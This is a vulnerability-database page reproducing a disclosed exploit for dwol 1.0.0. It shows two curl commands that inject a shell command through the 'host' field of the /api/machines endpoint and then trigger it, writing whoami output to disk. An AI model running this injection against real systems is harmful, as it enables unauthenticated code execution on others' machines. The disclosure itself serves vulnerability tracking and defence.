Lucene search
K

📄 dwol 1.0.0 Command Injection

🗓️ 20 Apr 2026 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 51 Views

Dwol version 1.0.0 has unauthenticated command injection via host parameter in /api/machines.

Code
# Exploit Title: dwol v1.0.0 - Unauthenticated Command Injection
    # Date: 2026-04-18
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://github.com/dhjz/dwol
    # Software Link:
    https://github.com/dhjz/dwol/releases/download/1.0.0/dwol.exe.zip
    # Version: 1.0.0
    # Tested on: Windows 10, Windows 11
    
    
    # Description:
    dwol v1.0.0 is vulnerable to unauthenticated command injection
    vulnerability in the 'host'
    parameter of the /api/machines endpoint.
    
    
    
    # Proof of Concept:
    
    Step 1: Add a malicious machine with an injected command
    curl -X POST "http://TARGET_IP:999/api/machines" -H "Content-Type:
    application/json" -d
    '{"id":"rce","name":"rce","mac":"00:11:22:33:44:55","host":"127.0.0.1 &
    whoami > C:\\users\\Public\\whoami.txt","port":9}'
    
    Step 2: Trigger the command execution
    curl "http://TARGET_IP:999/api/status"
    
    file is created in C:\\users\\Public\\

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
51